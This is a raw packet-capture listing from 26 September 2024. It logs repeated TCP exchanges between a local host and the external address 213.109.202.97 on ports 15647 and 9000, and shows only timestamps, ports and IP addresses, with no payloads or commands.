Sep 26, 2024 01:48:42.934762955 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:42.982660055 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.005587101 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.012542009 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.017493963 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.090899944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.095757961 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.126420975 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.168452024 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.170289040 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.218756914 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.247072935 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.252073050 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.257569075 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.308897972 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.330868959 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.514055967 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.514297962 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.519258022 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.522185087 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.560398102 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.606659889 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.639369965 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.644805908 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.692770958 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.715845108 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.720705032 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.794321060 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.799209118 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.819803953 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.871694088 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.872164011 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.918699026 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.950371981 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:43.953521013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.955235004 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:43.996511936 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.028424978 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.033229113 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.044262886 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.090152979 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.108083010 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.124244928 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.168421984 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.184681892 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.230727911 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.241570950 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.262798071 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.267627954 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.332427979 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.340779066 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.345747948 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.419652939 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.424535036 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.436670065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.480742931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.498893023 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.515448093 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.558897018 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.576598883 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.595122099 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.637034893 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.654444933 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.702661037 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.834623098 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.839663029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.906925917 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.912077904 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:44.987247944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:44.992084026 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.105468035 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.110286951 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.157852888 CEST	9000	58365	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.157926083 CEST	58365	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.158029079 CEST	58365	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.158449888 CEST	58366	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.162838936 CEST	9000	58365	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.163271904 CEST	9000	58366	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.163351059 CEST	58366	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.163470984 CEST	58366	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.168344975 CEST	9000	58366	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.170319080 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.175209999 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.247809887 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.252757072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.326164961 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.331089973 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.403758049 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.408828974 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.466851950 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.472460985 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.544190884 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.714725018 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.714824915 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.715172052 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.716341019 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.719635010 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.747149944 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.752023935 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.811654091 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.817121983 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.887957096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.892884016 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.950246096 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:45.955705881 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:45.991427898 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.014669895 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.074722052 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.075359106 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.080321074 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.118634939 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.137758970 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.190668106 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.200520039 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.206538916 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.245474100 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.262530088 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.267440081 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.325258017 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.330190897 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.372771978 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.389133930 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.394043922 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.450464964 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.455307961 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.499902010 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.512775898 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.517760992 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.575318098 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.580228090 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.637829065 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.642755985 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.700277090 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.705209970 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.764123917 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:46.769112110 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.800833941 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:46.825678110 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.077137947 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.077203035 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.082369089 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.152221918 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.157151937 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.224591017 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.229643106 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.240761042 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.293277979 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.341032028 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.488209009 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.488234043 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.488420963 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.535131931 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.583818913 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.640625000 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.716784954 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.717797041 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.721688032 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.771466970 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.778767109 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.784380913 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.840955973 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.846365929 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.907119989 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:47.911964893 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.941478014 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:47.966221094 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.014668941 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.028415918 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.034677029 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.069997072 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.090917110 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.138689995 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.153645992 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.158688068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.197993040 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.217354059 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.222253084 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.280493021 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.285422087 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.340739012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.345786095 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.349189043 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.402633905 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.403553009 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.642469883 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.642631054 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.642909050 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.643985987 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.644113064 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.648016930 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.660623074 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.668111086 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.717274904 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.722232103 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.730345964 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.777853012 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.780112982 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.826740980 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.844743967 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.849683046 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.866246939 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.904728889 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.950695992 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.966223955 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:48.971337080 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:48.993366003 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.030838013 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.078700066 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.091056108 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.096013069 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.120342016 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.153338909 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.198609114 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.217592955 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.222493887 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.248188019 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.278470993 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.302443027 CEST	9000	58366	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.302588940 CEST	58366	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.302686930 CEST	58366	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.308547020 CEST	9000	58366	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.326900959 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.340841055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.345726013 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.374809027 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.406085014 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.418958902 CEST	58367	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.425726891 CEST	9000	58367	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.426161051 CEST	58367	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.426239967 CEST	58367	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.432213068 CEST	9000	58367	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.454838991 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.466226101 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.471080065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.504448891 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.528770924 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.574712038 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.590935946 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.595721960 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.628904104 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.653101921 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.698637009 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.716676950 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.721493006 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.756299019 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.780581951 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.830620050 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.842767000 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.847683907 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.883405924 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.904073000 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.950709105 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:49.966486931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:49.971348047 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.010585070 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.028424978 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.074700117 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.091052055 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.095980883 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.137438059 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.155677080 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.160624981 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.218866110 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.223773956 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.265336037 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.279181957 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.284116030 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.340712070 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.345766068 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.391586065 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.403343916 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.408200026 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.466684103 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.471971035 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.518621922 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.529444933 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.535999060 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.595036983 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.600130081 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.645884991 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.656435013 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.664710999 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.716697931 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.721674919 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.779304028 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.784245968 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.841032982 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.845966101 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.907308102 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:50.912343979 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.946011066 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:50.966049910 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.018755913 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.028426886 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.033236980 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.085206032 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.090974092 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.095803976 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.153445959 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.158340931 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.204794884 CEST	9000	58367	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.204873085 CEST	58367	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.204991102 CEST	58367	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.205393076 CEST	58368	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.209750891 CEST	9000	58367	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.210200071 CEST	9000	58368	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.210293055 CEST	58368	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.210357904 CEST	58368	9000	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.210625887 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.215140104 CEST	9000	58368	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.216155052 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.221101046 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.279671907 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.284657955 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.312227011 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.340636015 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.386790991 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.387718916 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.392687082 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.434506893 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.436651945 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.439573050 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.480837107 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.481389999 CEST	49716	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:48:51.486382008 CEST	15647	49716	213.109.202.97	192.168.2.7
Sep 26, 2024 01:48:51.528482914 CEST	49716	15647	192.168.2.7	213.109.202.97
